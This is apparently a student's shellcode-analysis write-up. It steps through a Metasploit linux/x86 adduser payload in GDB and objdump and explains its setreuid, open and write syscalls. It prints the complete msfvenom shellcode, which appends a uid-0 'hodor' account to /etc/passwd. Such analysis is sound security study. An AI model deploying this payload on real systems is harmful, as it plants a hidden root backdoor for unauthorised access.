5.B.1. Analysis

GDB Analysis

When looking at the objdump code and the ASM code, some parts remain a little obscure to say at least. The “setreuid” and “sys_open” parts are quite clear. Things get fuzzy when trying to analyze the “sys_write” part of the ASM code: a lot of jumps and compares based on what? Let’s try to find out using GDB with the Peda plugin.

Running and setting breakpoint

gdb -q ./msf_linx86_adduser_c_sample1_alt
Reading symbols from /home/vbox/exam/assignment_5/msf_linx86_adduser_c_sample1_alt...(no debugging symbols found)...done.
gdb-peda$ b *&code
Breakpoint 1 at 0x804a040

During “call”

gdb-peda$ x/i 0x804a08e
0x804a08e <code+78>: pop ecx

Weird thing is that there is no direct instruction displayed when we disassemble the “code” part in GDB. However, when we take a look at out objdump output, it displays some possible opcodes which might look familiar.

objdump

...<SNIP>...
0000004D 0A598B or bl,[ecx-0x75]
00000050 51 push ecx
00000051 FC cld
00000052 6A04 push byte +0x4
00000054 58 pop eax
00000055 CD80 int 0x80
...<SNIP>...

Opcode 0A usually means a linefeed character in *nixes OS’es for a new line. Might this be string hiding in plain sight? Let’s find out by an attempt to print it as a string.

Printing string

$ echo -ne "\x59\x8B\x51\xfc\x6a\x04\x58\xcd\x80" | ndisasm -u -
00000000 59 pop ecx
00000001 8B51FC mov edx,[ecx-0x4]
00000004 6A04 push byte +0x4
00000006 58 pop eax
00000007 CD80 int 0x80

This looks like the opcodes being used by GDB when stepping through instructions after stopping at the breakpoint. So what does it do? It calls “write” 0x4 to write a string to a file.

Analyzing sys_write:
From man write(2), the manual shows the structure of the call in C:
ssize_t write(int fd, const void *buf, size_t count);

Just like other syscalls, the registers need to be set up as followed:

  • EAX: syscall number for write, 0x4
  • EBX: File Descriptor /etc/passwd, (int fd)
  • ECX: Buffer to write, , (const void *buf)
  • EDX: Length of buffer, (size_t count)

Stepping on for instructions and taking a stop at “int 0x80”, we can check the registers to confirm the above.

EAX:

gdb-peda$ p $eax
$5 = 0x4

EBX (filled during sys_open at “mov ebx,esp”):

gdb-peda$ p $ebx
$6 = 0xfffffff3

ECX:

gdb-peda$ x/s $ecx
0x804a06b <code+43>: "hodor:AzmuZrosBjRYU:0:0::/:/bin/sh\nY\213Q\374j\004Xj\001X"

EDX:

gdb-peda$ p $edx
$8 = 0x23

Analyzing “call” and “pop ecx”:

Printing ECX as decimal number gives us 35 as the length of the string. Seeing “call dword 0x4e” at our set breakpoint in GDB, does perform a “pop ecx” and fills the register with the value being shown above, the string should be referenced somewhere, right? After some tinkering with decoding opcodes to strings, I found that after the “call”, the opcodes are the strings itself being popped in ECX.

Let’s verify this from a snippet from objdump, constructing a string from opcodes:

...<SNIP>...
00000026 E823000000 call dword 0x4e
0000002B 686F646F72 push dword 0x726f646f
00000030 3A417A cmp al,[ecx+0x7a]
00000033 6D insd
00000034 755A jnz 0x90
00000036 726F jc 0xa7
00000038 7342 jnc 0x7c
0000003A 6A52 push byte +0x52
0000003C 59 pop ecx
0000003D 55 push ebp
0000003E 3A30 cmp dh,[eax]
00000040 3A30 cmp dh,[eax]
00000042 3A3A cmp bh,[edx]
00000044 2F das
00000045 3A2F cmp ch,[edi]
00000047 62696E bound ebp,[ecx+0x6e]
0000004A 2F das
0000004B 7368 jnc 0xb5
0000004D 0A598B or bl,[ecx-0x75]
...<SNIP>...

Life after “call”:
Remember the 0x0a being a newline? That’s the place where we will stop for constructing a hex string.
Our generated string from msfvenom is:
“\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x23\x00\x00\x00\x68\x6f\x64\x6f\x72\x3a\x41\x7a\x6d\x75\x5a\x72\x6f\x73\x42\x6a\x52\x59\x55\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80″

Being unconvient normally, but easier for referencing are the NULL-bytes terminating the string above. Using that string until 0x0A gives an interesting output:

$ echo -ne "\x68\x6f\x64\x6f\x72\x3a\x41\x7a\x6d\x75\x5a\x72\x6f\x73\x42\x6a\x52\x59\x55\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a"
hodor:AzmuZrosBjRYU:0:0::/:/bin/sh


POP ECX
That still leaves us this instruction, with the exception of “0A”:
0000004D 0A598B or bl,[ecx-0x75]

This instruction pops the value off the stack and into ECX. The “db 0x8b” instruction doesn’t do very much.

$ echo -ne "\x59\x8b" | ndisasm -u -
00000000 59 pop ecx
00000001 8B db 0x8b